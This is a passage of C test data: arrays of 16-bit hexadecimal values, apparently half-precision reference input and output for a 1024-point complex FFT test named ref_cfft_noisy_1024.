0xc0fb, 0xb034, 0xc1f7, 0xb6a5, 0x3c7d, 0x3af0, 0x3389, 0x4136,
0xb7db, 0xc0c8, 0xb2dd, 0xbf1a, 0x3cc6, 0xb6f6, 0xbabd, 0x313c,
0x39df, 0xb77a, 0xbcfc, 0x3ab9, 0xae08, 0x3e04, 0x3b50, 0x3b58,
0xc1a3, 0xbbcb, 0x307e, 0x3abb, 0x2864, 0xaf5d, 0xbcd3, 0x3af9,
0xbd58, 0x3c85, 0x36f5, 0x9c49, 0xc171, 0x2cf2, 0x3e0f, 0xbf88,
0xb711, 0xac49, 0xb6c8, 0x2bab, 0x350a, 0x3ee5, 0xb31c, 0x3902,
0x29e9, 0x3d5d, 0x37f2, 0x3bc7, 0xad1e, 0xc0ea, 0xbccc, 0xbd35,
0xb77c, 0x410e, 0xaf2c, 0xbf80, 0x34d0, 0x306c, 0x3612, 0x3a90,
0x3a75, 0xb297, 0xb029, 0xbac0, 0x3cf3, 0x35cb, 0xbbf0, 0x3d6a,
0xbd06, 0x3871, 0x3610, 0x3c90, 0x2e00, 0x3c27, 0x382f, 0xb779,
0x343d, 0xbaca, 0x3e84, 0x37b0, 0xb31c, 0x4071, 0xba29, 0x3623,
0x3c1a, 0xbadc, 0xbf2c, 0xbdae, 0xb8ea, 0x3d08, 0x3a54, 0x3e2a,
0x382f, 0x28ff, 0x3e90, 0xbd7c, 0xba12, 0x405c, 0x3aa8, 0xb33c,
0xc030, 0xbf69, 0xb11d, 0x34d6, 0x3cbb, 0xbf45, 0xbc03, 0x3551,
0x39fc, 0xbc2f, 0xb3f4, 0x3d44, 0x34bf, 0x3016, 0x3c54, 0xbf3d,
0xbd58, 0x2c6f, 0x3a4d, 0xc072, 0xbd1d, 0x3ca3, 0xbc69, 0x39fa,
0x3bc5, 0xbbde, 0x310f, 0xb5ec, 0xbb57, 0x38f0, 0xb79a, 0xb100,
0xace4, 0xbe82, 0x40a4, 0x3ac3, 0x2fb1, 0x32f4, 0x3af0, 0xb9e4,
0x384a, 0x420a, 0x3599, 0x34c4, 0x3ca8, 0x3bb5, 0x3b6b, 0x38d2,
0xc344, 0x0, 0x3b6b, 0xb8d2, 0x3ca8, 0xbbb5, 0x3599, 0xb4c4,
0x384a, 0xc20a, 0x3af0, 0x39e4, 0x2fb1, 0xb2f4, 0x40a4, 0xbac3,
0xace4, 0x3e82, 0xb79a, 0x3100, 0xbb57, 0xb8f0, 0x310f, 0x35ec,
0x3bc5, 0x3bde, 0xbc69, 0xb9fa, 0xbd1d, 0xbca3, 0x3a4d, 0x4072,
0xbd58, 0xac6f, 0x3c54, 0x3f3d, 0x34bf, 0xb016, 0xb3f4, 0xbd44,
0x39fc, 0x3c2f, 0xbc03, 0xb551, 0x3cbb, 0x3f45, 0xb11d, 0xb4d6,
0xc030, 0x3f69, 0x3aa8, 0x333c, 0xba12, 0xc05c, 0x3e90, 0x3d7c,
0x382f, 0xa8ff, 0x3a54, 0xbe2a, 0xb8ea, 0xbd08, 0xbf2c, 0x3dae,
0x3c1a, 0x3adc, 0xba29, 0xb623, 0xb31c, 0xc071, 0x3e84, 0xb7b0,
0x343d, 0x3aca, 0x382f, 0x3779, 0x2e00, 0xbc27, 0x3610, 0xbc90,
0xbd06, 0xb871, 0xbbf0, 0xbd6a, 0x3cf3, 0xb5cb, 0xb029, 0x3ac0,
0x3a75, 0x3297, 0x3612, 0xba90, 0x34d0, 0xb06c, 0xaf2c, 0x3f80,
0xb77c, 0xc10e, 0xbccc, 0x3d35, 0xad1e, 0x40ea, 0x37f2, 0xbbc7,
0x29e9, 0xbd5d, 0xb31c, 0xb902, 0x350a, 0xbee5, 0xb6c8, 0xabab,
0xb711, 0x2c49, 0x3e0f, 0x3f88, 0xc171, 0xacf2, 0x36f5, 0x1c49,
0xbd58, 0xbc85, 0xbcd3, 0xbaf9, 0x2864, 0x2f5d, 0x307e, 0xbabb,
0xc1a3, 0x3bcb, 0x3b50, 0xbb58, 0xae08, 0xbe04, 0xbcfc, 0xbab9,
0x39df, 0x377a, 0xbabd, 0xb13c, 0x3cc6, 0x36f6, 0xb2dd, 0x3f1a,
0xb7db, 0x40c8, 0x3389, 0xc136, 0x3c7d, 0xbaf0, 0xc1f7, 0x36a5,
0xc0fb, 0x3034, 0xbc52, 0x31b2, 0x3d49, 0x3d27, 0x3a2d, 0x3135,
0xb697, 0xbd86, 0xb28e, 0x35a1, 0x3eac, 0x3f0a, 0x36d3, 0xbb9d,
0x3a16, 0xbf1a, 0xba48, 0x3a9d, 0xb37b, 0x3e22, 0x39f6, 0x3241,
0x3bb6, 0xb83a, 0x3d26, 0xbcea, 0xb0c1, 0x330e, 0x381a, 0xbe0c,
0x2f47, 0xb96d, 0x2d4b, 0xb965, 0x3a2d, 0x3cd2, 0xbe68, 0x3fda,
0x3928, 0xb78b, 0x384b, 0xbdc9, 0xc196, 0xb824, 0xb211, 0x3a29,
0x34a9, 0xbe29, 0x3ba2, 0x3ccf, 0xa81d, 0xb045, 0x3b66, 0xc1fd,
0x3c98, 0x38fb, 0xc008, 0xb8b1, 0xab84, 0x31b3, 0xb9f2, 0xa984,
0xbb50, 0x3c40, 0xbc77, 0x3482, 0x3f45, 0x3c39, 0x332b, 0x36f8,
0xbcec, 0xb716, 0xbdaf, 0x40fe, 0x3465, 0x3999, 0x3ebd, 0x3b7e,
0x3ba1, 0xbcc0, 0xbab1, 0x3da6, 0x38f0, 0xbea6, 0xbc84, 0xb0f3,
0xbb03, 0xbe50, 0x3839, 0xba08, 0xb886, 0xbb72, 0x3919, 0xbdec,
0x2f2d, 0xb26d, 0xb9d5, 0x35c2, 0x24d7, 0x3f9f, 0xbb47, 0xc12a,
0x3e15, 0x3dd2, 0x406e, 0x3baa, 0x3df0, 0xbd7d, 0xbe7e, 0x4363,
0xbf69, 0x3b12, 0xc2b2, 0x3dcf, 0xb9cd, 0xbd0f, 0x3797, 0xbe15,
0xbd2b, 0xbb7a, 0x36f9, 0x3d7f, 0xbe07, 0x3dbd, 0xb9ac, 0x3cfb,
0x3dec, 0x3d6e, 0xbd42, 0xb664, 0x3647, 0x3a82, 0xb856, 0x35ff,
0xb8bc, 0xaf18, 0x2520, 0x30fe, 0x2c39, 0x3564, 0x3bbc, 0x3c64,
0x39de, 0xb47c, 0xbd09, 0xb53d, 0xbc2e, 0x38e4, 0xba76, 0x3ebc,
0x3374, 0xbcda, 0x3944, 0xbb0f, 0xbb54, 0x4193, 0xb4db, 0x3e60,
0xbc4c, 0x3874, 0x38a3, 0x3532, 0xb601, 0x3d75, 0xbc77, 0xb778,
0xb972, 0x29af, 0xbeb1, 0xa1ff, 0xa63e, 0x29f0, 0xb383, 0x3bfb,
0x3ae7, 0xbf03, 0x341f, 0x3cea, 0xbed0, 0xb823, 0xbbc4, 0xbce3,
0x3d00, 0xc057, 0xc066, 0xb1c2, 0x3ec7, 0xb99f, 0xb823, 0x400c,
0x3942, 0xbd3e, 0x3bec, 0xbc7a, 0x3a33, 0x38e8, 0xc000, 0xc01c,
0xb467, 0xbc52, 0x3c12, 0xb6e1, 0x2f2a, 0xb01f, 0xc047, 0x31f3,
0x3995, 0xbc79, 0xb970, 0x3aa0, 0x3c5f, 0x3df2, 0xb8bf, 0xc00f,
0x3ce9, 0x381c, 0xbcdd, 0x3f1d, 0xbeea, 0x4048, 0x3de2, 0x3eba,
0x3953, 0x3db9, 0x3994, 0xb9d6, 0xb5ab, 0xbd63, 0xb499, 0xbe0e,
0x3621, 0xbbbf, 0x3aaa, 0xb8d1, 0xc01c, 0xc144, 0xbec1, 0x253b,
0x3ad4, 0x37bf, 0x40a2, 0x308b, 0x402e, 0x3446, 0x3bc2, 0xb86b,
0x2875, 0x4002, 0x3498, 0xbc80, 0xbec8, 0xa874, 0xc030, 0xbdda,
0xa537, 0xb860, 0xbb39, 0x3a88, 0x3432, 0xba96, 0xb824, 0xc10e,
0xbae4, 0x3e08, 0xbd97, 0xb857, 0x387a, 0x383b, 0x394e, 0x3890,
0xbc0c, 0xb9e6, 0xb8d8, 0xb72c, 0xbaa5, 0x38ca, 0x3b62, 0x3a61,
0x3e52, 0xac32, 0xbccc, 0xb304, 0x373d, 0x3024, 0x3c20, 0x3154,
0xbc0a, 0x3ad8, 0xc0d3, 0x3468, 0x3dcd, 0xbcd9, 0x34a9, 0x350a,
0x3620, 0xc02d, 0xb208, 0x2f30, 0xbd7f, 0x35a8, 0xb9f8, 0xbe31,
0xbc32, 0x3c5b, 0xbc63, 0x3b99, 0x40ec, 0xc1b7, 0xb66c, 0xc036,
0xbd34, 0x3690, 0x4027, 0x3d66, 0x346e, 0x2cb6, 0x3c36, 0x40c2,
0xb56c, 0x2c4b, 0x3bc0, 0x3992, 0xc055, 0x3aa3, 0x3b64, 0xb4db,
0x3fa0, 0xba32, 0xb575, 0xbcaa, 0x3d05, 0x34fc, 0x396d, 0x35fd,
0xbdd8, 0x3a88, 0x3a65, 0x3d86, 0x37de, 0x3b36, 0xb60c, 0x31d5,
0x3908, 0xbcc1, 0xbb4d, 0x33b8, 0xb071, 0xc04f, 0xbce7, 0xbcb5,
0xbbe3, 0x3c8a, 0xbcea, 0xbaae, 0x39f0, 0xb6d3, 0xbc2d, 0x3406,
0xbd8f, 0xbd45, 0xb964, 0x33b0, 0xc178, 0xb6bb, 0xbe00, 0xbc96,
0xb620, 0x3889, 0x341a, 0x346d, 0xbc12, 0x394e, 0x3c78, 0x351a,
0x3926, 0xbf35, 0xaed7, 0x3d9c, 0x3aea, 0x3958, 0xbff5, 0xb919,
0x420f, 0xc225, 0x2f36, 0xbc97, 0xbd6a, 0xb1e6, 0xbd13, 0x36c0,
0xabaf, 0xa593, 0x391b, 0xb7ca, 0x3bfd, 0xbdd6, 0xbdb1, 0x4472,
0x393c, 0xb486, 0xbc46, 0xbcc3, 0x3fe7, 0xbbfa, 0x34c8, 0xb993,
0x4172, 0x3969, 0xb9b0, 0xbcca, 0xb141, 0x3809, 0xbeab, 0xbe1f,
0xbc3d, 0xb844, 0x3c30, 0x36e6, 0x344b, 0xbb67, 0xb8c0, 0x3949,
0xb87c, 0xbe4b, 0x3c2e, 0xbfb4, 0x353a, 0x3843, 0xae1f, 0xa200,
0xbe59, 0x3570, 0xb9ab, 0xbcdc, 0x3890, 0xb9c1, 0xb1f1, 0x32b9,
0xb680, 0xbb8a, 0x3a18, 0x353a, 0x3e44, 0x2e48, 0xb950, 0xb8d8,
0xbaf7, 0x3cbd, 0x3001, 0xbca9, 0xb838, 0xb976, 0xb758, 0x2bcb,
0xbc0d, 0xb9f6, 0x4092, 0x3832, 0x38a9, 0x4029, 0xb8d1, 0xb164,
0x3777, 0xbc84, 0x3b0a, 0x3bc7, 0xba6e, 0xc0b4, 0x2506, 0xaf93,
0x1fa8, 0x40f7, 0x3cb7, 0x4118, 0xb995, 0x4189, 0x3cb4, 0x3796,
0x3a0f, 0x3a1a, 0xb9f0, 0xb022, 0xbfdd, 0x3298, 0x3992, 0xbc01,
0x3c57, 0x3468, 0xbcfb, 0xb119, 0x3d74, 0xb8b3, 0x3d97, 0xba1a,
0x3810, 0xc401, 0xadbf, 0x9eb8, 0x3bfb, 0x3844, 0xaf7a, 0x412d,
0x3c3e, 0x35a7, 0xadb4, 0x3d7a, 0x3f62, 0x3fc0, 0x3786, 0x313d,
0x31d6, 0xb39d, 0x3941, 0x3b7f, 0x39ba, 0xc030, 0xb84f, 0xb73b,
0x311f, 0xbf25, 0xb7fe, 0x38a0, 0xbb6b, 0x41d7, 0xc0e0, 0xb8f8,
0x39fd, 0xa882, 0xc05f, 0xb1eb, 0x2f17, 0x3f39, 0xbc43, 0x3b00,
0xb4fe, 0x3d27, 0xbde8, 0x3911, 0x3d6e, 0x3c2d, 0x3b3a, 0x351e,
0x3cea, 0x3af6, 0x3e9f, 0x3edd, 0xbd1a, 0xbe2a, 0xba2f, 0xbe66,
0xc0c0, 0x3f01, 0xbdf3, 0x2e3e, 0x3d18, 0xb0b3, 0xabbf, 0x3c30,
0x3c58, 0xbd61, 0x3c04, 0xb995, 0xbb7e, 0x400d, 0xaa41, 0x3788,
0x3bed, 0x3c7c, 0x399e, 0xb555, 0xb3d2, 0xc047, 0xb54a, 0x3808,
0xb997, 0xb9d3, 0xbd78, 0x38e3, 0xb53b, 0x3629, 0x3bf8, 0x3aec,
0xb436, 0xa915, 0x3e25, 0xb5b9, 0xb84d, 0x3950, 0xbe98, 0x3d38,
0x3a01, 0x35f8, 0x3acd, 0xbfee, 0x387e, 0x2fc7, 0x333b, 0xbd45,
0xb635, 0xb142, 0xb697, 0x38db, 0xba22, 0xc07d, 0x3cbc, 0xa880,
0x31a7, 0xba3b, 0xc047, 0xc142, 0x2e9b, 0xbc24, 0x3339, 0x3ee8,
0x3daa, 0x5d97, 0x3b6c, 0xb0d8, 0xb332, 0x36fa, 0x311c, 0x34c8,
0xb4c4, 0x3bb5, 0x3fd8, 0x3c6c, 0x340b, 0x4005, 0x3ed6, 0x323d,
0x3be2, 0xbdf8, 0xc00b, 0xb150, 0xbd62, 0xb464, 0x4084, 0x39a8,
0x2131, 0xbf9c, 0xbe25, 0x3a2b, 0x36e2, 0xbcc7, 0xb803, 0xacfb,
0xb8ae, 0xaff1, 0x3c86, 0xba95, 0x3bbb, 0xbc0c, 0xb705, 0xb201,
0x3d41, 0xbe03, 0x39c6, 0xbcd0, 0xb123, 0x3c79, 0xb45c, 0x3a8c,
0xb803, 0x36ed, 0x393b, 0xbc18, 0xc0de, 0xb8e7, 0x3b9a, 0xafbe,
0x28eb, 0x2b95, 0x3d5a, 0x3c83, 0x3892, 0x4048, 0x3be6, 0x3750,
0xc2a5, 0x4107, 0x3b1f, 0x3e0d, 0x2e0a, 0xb894, 0xbd34, 0x34ce,
0x404d, 0xbd1b, 0xbe14, 0xb6a9, 0xb80b, 0x3cf1, 0x3509, 0xb51c,
0xb49a, 0xb435, 0xba97, 0x3911, 0x3a96, 0xbe2b, 0x3415, 0xbe04,
0xba57, 0x4200, 0x36c6, 0x37a7, 0x3fca, 0x34ab, 0xc0d2, 0x3e51,
0x40c0, 0x39ce, 0x3a90, 0x379b, 0xb482, 0x31d3, 0x35be, 0x3590,
0xbc4f, 0xb2b1, 0x3501, 0xba46, 0x3c57, 0x3ea1, 0xbdd8, 0x338d,
0x3a11, 0xbc19, 0x3acc, 0x351a, 0xb9f3, 0xbca5, 0xbc62, 0x3ec8,
0xba5b, 0xb994, 0x2312, 0xbcbc, 0x3985, 0x3d6e, 0xbbf7, 0x3f6b,
0x3024, 0xb919, 0xbd9c, 0xbafd, 0xb9f1, 0x2924, 0xb802, 0xc20b,
0x3f0d, 0xbc87, 0x3631, 0x3a1b, 0x3534, 0x3d28, 0x33de, 0x3237,
0xbe82, 0x3b0d, 0x3ac9, 0x3d80, 0x400d, 0xb91d, 0x3fa3, 0xb398,
0x3a14, 0xbb29, 0xa6fe, 0x3bb0, 0xba1c, 0x3eb5, 0xbf59, 0x3b62,
0x39c8, 0xbbe9, 0xbdb3, 0x3b35, 0xb52f, 0xb80a, 0xbab7, 0xb3dc,
0x3f08, 0xc095, 0x3692, 0x3848, 0x3e80, 0x3d23, 0xba93, 0xb8cc,
0xb691, 0x36d2, 0x40ec, 0xbe99, 0xbc2a, 0x3a05, 0xbe44, 0xbd13,
0xb973, 0x3840, 0x3fb6, 0x384a, 0xb98a, 0x3975, 0x2cba, 0x2e79,
0x3e13, 0x41b3, 0xa386, 0x4013, 0xbaf2, 0xbcf6, 0x3e1b, 0xbd65,
0xc213, 0xba19, 0x3a15, 0xbc57, 0xbd0a, 0x3e85, 0x3ba7, 0xb504,
0xb91d, 0x2ea4, 0x43f4, 0x364e, 0x3d91, 0x4286, 0x3173, 0x379d,
0x36f7, 0xb3e4, 0x2c3e, 0xb8f1, 0xb913, 0xc120, 0xba55, 0xb265,
0xad20, 0xbd21, 0x3595, 0xb5aa, 0x3e3f, 0x337d, 0xb7f5, 0x24dc,
0x3c4d, 0x3fb7, 0x3942, 0x37ab, 0xbafa, 0x2e0c, 0xbe5a, 0xb9f7,
0xbc2d, 0x3dbf, 0xb657, 0xb89f, 0x3f8d, 0xb885, 0x2f1a, 0xb950,
0x3a1e, 0x3555, 0xb931, 0xa99f, 0xbc06, 0xbab1, 0x3e9d, 0x374e
};
static const uint16_t ref_cfft_noisy_1024[2048] = {
0x3d95, 0x0, 0x3e9d, 0xb74e, 0xbc06, 0x3ab1, 0xb931, 0x299f,
0x3a1e, 0xb555, 0x2f1a, 0x3950, 0x3f8d, 0x3885, 0xb657, 0x389f,
0xbc2d, 0xbdbf, 0xbe5a, 0x39f7, 0xbafa, 0xae0c, 0x3942, 0xb7ab,
0x3c4d, 0xbfb7, 0xb7f5, 0xa4dc, 0x3e3f, 0xb37d, 0x3595, 0x35aa,
0xad20, 0x3d21, 0xba55, 0x3265, 0xb913, 0x4120, 0x2c3e, 0x38f1,
0x36f7, 0x33e4, 0x3173, 0xb79d, 0x3d91, 0xc286, 0x43f4, 0xb64e,
0xb91d, 0xaea4, 0x3ba7, 0x3504, 0xbd0a, 0xbe85, 0x3a15, 0x3c57,
0xc213, 0x3a19, 0x3e1b, 0x3d65, 0xbaf2, 0x3cf6, 0xa386, 0xc013,
0x3e13, 0xc1b3, 0x2cba, 0xae79, 0xb98a, 0xb975, 0x3fb6, 0xb84a,
0xb973, 0xb840, 0xbe44, 0x3d13, 0xbc2a, 0xba05, 0x40ec, 0x3e99,
0xb691, 0xb6d2, 0xba93, 0x38cc, 0x3e80, 0xbd23, 0x3692, 0xb848,
0x3f08, 0x4095, 0xbab7, 0x33dc, 0xb52f, 0x380a, 0xbdb3, 0xbb35,
0x39c8, 0x3be9, 0xbf59, 0xbb62, 0xba1c, 0xbeb5, 0xa6fe, 0xbbb0,
0x3a14, 0x3b29, 0x3fa3, 0x3398, 0x400d, 0x391d, 0x3ac9, 0xbd80,
0xbe82, 0xbb0d, 0x33de, 0xb237, 0x3534, 0xbd28, 0x3631, 0xba1b,
0x3f0d, 0x3c87, 0xb802, 0x420b, 0xb9f1, 0xa924, 0xbd9c, 0x3afd,
0x3024, 0x3919, 0xbbf7, 0xbf6b, 0x3985, 0xbd6e, 0x2312, 0x3cbc,
0xba5b, 0x3994, 0xbc62, 0xbec8, 0xb9f3, 0x3ca5, 0x3acc, 0xb51a,
0x3a11, 0x3c19, 0xbdd8, 0xb38d, 0x3c57, 0xbea1, 0x3501, 0x3a46,
0xbc4f, 0x32b1, 0x35be, 0xb590, 0xb482, 0xb1d3, 0x3a90, 0xb79b,
0x40c0, 0xb9ce, 0xc0d2, 0xbe51, 0x3fca, 0xb4ab, 0x36c6, 0xb7a7,
0xba57, 0xc200, 0x3415, 0x3e04, 0x3a96, 0x3e2b, 0xba97, 0xb911,
0xb49a, 0x3435, 0x3509, 0x351c, 0xb80b, 0xbcf1, 0xbe14, 0x36a9,
0x404d, 0x3d1b, 0xbd34, 0xb4ce, 0x2e0a, 0x3894, 0x3b1f, 0xbe0d,
0xc2a5, 0xc107, 0x3be6, 0xb750, 0x3892, 0xc048, 0x3d5a, 0xbc83,
0x28eb, 0xab95, 0x3b9a, 0x2fbe, 0xc0de, 0x38e7, 0x393b, 0x3c18,
0xb803, 0xb6ed, 0xb45c, 0xba8c, 0xb123, 0xbc79, 0x39c6, 0x3cd0,
0x3d41, 0x3e03, 0xb705, 0x3201, 0x3bbb, 0x3c0c, 0x3c86, 0x3a95,
0xb8ae, 0x2ff1, 0xb803, 0x2cfb, 0x36e2, 0x3cc7, 0xbe25, 0xba2b,
0x2131, 0x3f9c, 0x4084, 0xb9a8, 0xbd62, 0x3464, 0xc00b, 0x3150,
0x3be2, 0x3df8, 0x3ed6, 0xb23d, 0x340b, 0xc005, 0x3fd8, 0xbc6c,
0xb4c4, 0xbbb5, 0x311c, 0xb4c8, 0xb332, 0xb6fa, 0x3b6c, 0x30d8,
0x3daa, 0xdd97, 0x3339, 0xbee8, 0x2e9b, 0x3c24, 0xc047, 0x4142,
0x31a7, 0x3a3b, 0x3cbc, 0x2880, 0xba22, 0x407d, 0xb697, 0xb8db,
0xb635, 0x3142, 0x333b, 0x3d45, 0x387e, 0xafc7, 0x3acd, 0x3fee,
0x3a01, 0xb5f8, 0xbe98, 0xbd38, 0xb84d, 0xb950, 0x3e25, 0x35b9,
0xb436, 0x2915, 0x3bf8, 0xbaec, 0xb53b, 0xb629, 0xbd78, 0xb8e3,
0xb997, 0x39d3, 0xb54a, 0xb808, 0xb3d2, 0x4047, 0x399e, 0x3555,
0x3bed, 0xbc7c, 0xaa41, 0xb788, 0xbb7e, 0xc00d, 0x3c04, 0x3995,
0x3c58, 0x3d61, 0xabbf, 0xbc30, 0x3d18, 0x30b3, 0xbdf3, 0xae3e,
0xc0c0, 0xbf01, 0xba2f, 0x3e66, 0xbd1a, 0x3e2a, 0x3e9f, 0xbedd,
0x3cea, 0xbaf6, 0x3b3a, 0xb51e, 0x3d6e, 0xbc2d, 0xbde8, 0xb911,
0xb4fe, 0xbd27, 0xbc43, 0xbb00, 0x2f17, 0xbf39, 0xc05f, 0x31eb,
0x39fd, 0x2882, 0xc0e0, 0x38f8, 0xbb6b, 0xc1d7, 0xb7fe, 0xb8a0,
0x311f, 0x3f25, 0xb84f, 0x373b, 0x39ba, 0x4030, 0x3941, 0xbb7f,
0x31d6, 0x339d, 0x3786, 0xb13d, 0x3f62, 0xbfc0, 0xadb4, 0xbd7a,
0x3c3e, 0xb5a7, 0xaf7a, 0xc12d, 0x3bfb, 0xb844, 0xadbf, 0x1eb8,
0x3810, 0x4401, 0x3d97, 0x3a1a, 0x3d74, 0x38b3, 0xbcfb, 0x3119,
0x3c57, 0xb468, 0x3992, 0x3c01, 0xbfdd, 0xb298, 0xb9f0, 0x3022,
0x3a0f, 0xba1a, 0x3cb4, 0xb796, 0xb995, 0xc189, 0x3cb7, 0xc118,
0x1fa8, 0xc0f7, 0x2506, 0x2f93, 0xba6e, 0x40b4, 0x3b0a, 0xbbc7,
0x3777, 0x3c84, 0xb8d1, 0x3164, 0x38a9, 0xc029, 0x4092, 0xb832,
0xbc0d, 0x39f6, 0xb758, 0xabcb, 0xb838, 0x3976, 0x3001, 0x3ca9,
0xbaf7, 0xbcbd, 0xb950, 0x38d8, 0x3e44, 0xae48, 0x3a18, 0xb53a,
0xb680, 0x3b8a, 0xb1f1, 0xb2b9, 0x3890, 0x39c1, 0xb9ab, 0x3cdc,
0xbe59, 0xb570, 0xae1f, 0x2200, 0x353a, 0xb843, 0x3c2e, 0x3fb4,
0xb87c, 0x3e4b, 0xb8c0, 0xb949, 0x344b, 0x3b67, 0x3c30, 0xb6e6,
0xbc3d, 0x3844, 0xbeab, 0x3e1f, 0xb141, 0xb809, 0xb9b0, 0x3cca,
0x4172, 0xb969, 0x34c8, 0x3993, 0x3fe7, 0x3bfa, 0xbc46, 0x3cc3,
0x393c, 0x3486, 0xbdb1, 0xc472, 0x3bfd, 0x3dd6, 0x391b, 0x37ca,
0xabaf, 0x2593, 0xbd13, 0xb6c0, 0xbd6a, 0x31e6, 0x2f36, 0x3c97,
0x420f, 0x4225, 0xbff5, 0x3919, 0x3aea, 0xb958, 0xaed7, 0xbd9c,
0x3926, 0x3f35, 0x3c78, 0xb51a, 0xbc12, 0xb94e, 0x341a, 0xb46d,
0xb620, 0xb889, 0xbe00, 0x3c96, 0xc178, 0x36bb, 0xb964, 0xb3b0,
0xbd8f, 0x3d45, 0xbc2d, 0xb406, 0x39f0, 0x36d3, 0xbcea, 0x3aae,
0xbbe3, 0xbc8a, 0xbce7, 0x3cb5, 0xb071, 0x404f, 0xbb4d, 0xb3b8,
0x3908, 0x3cc1, 0xb60c, 0xb1d5, 0x37de, 0xbb36, 0x3a65, 0xbd86,
0xbdd8, 0xba88, 0x396d, 0xb5fd, 0x3d05, 0xb4fc, 0xb575, 0x3caa,
0x3fa0, 0x3a32, 0x3b64, 0x34db, 0xc055, 0xbaa3, 0x3bc0, 0xb992,
0xb56c, 0xac4b, 0x3c36, 0xc0c2, 0x346e, 0xacb6, 0x4027, 0xbd66,
0xbd34, 0xb690, 0xb66c, 0x4036, 0x40ec, 0x41b7, 0xbc63, 0xbb99,
0xbc32, 0xbc5b, 0xb9f8, 0x3e31, 0xbd7f, 0xb5a8, 0xb208, 0xaf30,
0x3620, 0x402d, 0x34a9, 0xb50a, 0x3dcd, 0x3cd9, 0xc0d3, 0xb468,
0xbc0a, 0xbad8, 0x3c20, 0xb154, 0x373d, 0xb024, 0xbccc, 0x3304,
0x3e52, 0x2c32, 0x3b62, 0xba61, 0xbaa5, 0xb8ca, 0xb8d8, 0x372c,
0xbc0c, 0x39e6, 0x394e, 0xb890, 0x387a, 0xb83b, 0xbd97, 0x3857,
0xbae4, 0xbe08, 0xb824, 0x410e, 0x3432, 0x3a96, 0xbb39, 0xba88,
0xa537, 0x3860, 0xc030, 0x3dda, 0xbec8, 0x2874, 0x3498, 0x3c80,
0x2875, 0xc002, 0x3bc2, 0x386b, 0x402e, 0xb446, 0x40a2, 0xb08b,
0x3ad4, 0xb7bf, 0xbec1, 0xa53b, 0xc01c, 0x4144, 0x3aaa, 0x38d1,
0x3621, 0x3bbf, 0xb499, 0x3e0e, 0xb5ab, 0x3d63, 0x3994, 0x39d6,
0x3953, 0xbdb9, 0x3de2, 0xbeba, 0xbeea, 0xc048, 0xbcdd, 0xbf1d,
0x3ce9, 0xb81c, 0xb8bf, 0x400f, 0x3c5f, 0xbdf2, 0xb970, 0xbaa0,
0x3995, 0x3c79, 0xc047, 0xb1f3, 0x2f2a, 0x301f, 0x3c12, 0x36e1,
0xb467, 0x3c52, 0xc000, 0x401c, 0x3a33, 0xb8e8, 0x3bec, 0x3c7a,
0x3942, 0x3d3e, 0xb823, 0xc00c, 0x3ec7, 0x399f, 0xc066, 0x31c2,
0x3d00, 0x4057, 0xbbc4, 0x3ce3, 0xbed0, 0x3823, 0x341f, 0xbcea,
0x3ae7, 0x3f03, 0xb383, 0xbbfb, 0xa63e, 0xa9f0, 0xbeb1, 0x21ff,
0xb972, 0xa9af, 0xbc77, 0x3778, 0xb601, 0xbd75, 0x38a3, 0xb532,
0xbc4c, 0xb874, 0xb4db, 0xbe60, 0xbb54, 0xc193, 0x3944, 0x3b0f,
0x3374, 0x3cda, 0xba76, 0xbebc, 0xbc2e, 0xb8e4, 0xbd09, 0x353d,
0x39de, 0x347c, 0x3bbc, 0xbc64, 0x2c39, 0xb564, 0x2520, 0xb0fe,
0xb8bc, 0x2f18, 0xb856, 0xb5ff, 0x3647, 0xba82, 0xbd42, 0x3664,
0x3dec, 0xbd6e, 0xb9ac, 0xbcfb, 0xbe07, 0xbdbd, 0x36f9, 0xbd7f,
0xbd2b, 0x3b7a, 0x3797, 0x3e15, 0xb9cd, 0x3d0f, 0xc2b2, 0xbdcf,
0xbf69, 0xbb12, 0xbe7e, 0xc363, 0x3df0, 0x3d7d, 0x406e, 0xbbaa,
0x3e15, 0xbdd2, 0xbb47, 0x412a, 0x24d7, 0xbf9f, 0xb9d5, 0xb5c2,
0x2f2d, 0x326d, 0x3919, 0x3dec, 0xb886, 0x3b72, 0x3839, 0x3a08,
0xbb03, 0x3e50, 0xbc84, 0x30f3, 0x38f0, 0x3ea6, 0xbab1, 0xbda6,
0x3ba1, 0x3cc0, 0x3ebd, 0xbb7e, 0x3465, 0xb999, 0xbdaf, 0xc0fe,
0xbcec, 0x3716, 0x332b, 0xb6f8, 0x3f45, 0xbc39, 0xbc77, 0xb482,
0xbb50, 0xbc40, 0xb9f2, 0x2984, 0xab84, 0xb1b3, 0xc008, 0x38b1,
0x3c98, 0xb8fb, 0x3b66, 0x41fd, 0xa81d, 0x3045, 0x3ba2, 0xbccf,
0x34a9, 0x3e29, 0xb211, 0xba29, 0xc196, 0x3824, 0x384b, 0x3dc9,
0x3928, 0x378b, 0xbe68, 0xbfda, 0x3a2d, 0xbcd2, 0x2d4b, 0x3965,
0x2f47, 0x396d, 0x381a, 0x3e0c, 0xb0c1, 0xb30e, 0x3d26, 0x3cea,
0x3bb6, 0x383a, 0x39f6, 0xb241, 0xb37b, 0xbe22, 0xba48, 0xba9d,
0x3a16, 0x3f1a, 0x36d3, 0x3b9d, 0x3eac, 0xbf0a, 0xb28e, 0xb5a1,
0xb697, 0x3d86, 0x3a2d, 0xb135, 0x3d49, 0xbd27, 0xbc52, 0xb1b2,
0xc0fb, 0xb034, 0xc1f7, 0xb6a5, 0x3c7d, 0x3af0, 0x3389, 0x4136,
0xb7db, 0xc0c8, 0xb2dd, 0xbf1a, 0x3cc6, 0xb6f6, 0xbabd, 0x313c,
0x39df, 0xb77a, 0xbcfc, 0x3ab9, 0xae08, 0x3e04, 0x3b50, 0x3b58,
0xc1a3, 0xbbcb, 0x307e, 0x3abb, 0x2864, 0xaf5d, 0xbcd3, 0x3af9,
0xbd58, 0x3c85, 0x36f5, 0x9c49, 0xc171, 0x2cf2, 0x3e0f, 0xbf88,
0xb711, 0xac49, 0xb6c8, 0x2bab, 0x350a, 0x3ee5, 0xb31c, 0x3902,
0x29e9, 0x3d5d, 0x37f2, 0x3bc7, 0xad1e, 0xc0ea, 0xbccc, 0xbd35,
0xb77c, 0x410e, 0xaf2c, 0xbf80, 0x34d0, 0x306c, 0x3612, 0x3a90,
0x3a75, 0xb297, 0xb029, 0xbac0, 0x3cf3, 0x35cb, 0xbbf0, 0x3d6a,
0xbd06, 0x3871, 0x3610, 0x3c90, 0x2e00, 0x3c27, 0x382f, 0xb779,
0x343d, 0xbaca, 0x3e84, 0x37b0, 0xb31c, 0x4071, 0xba29, 0x3623,
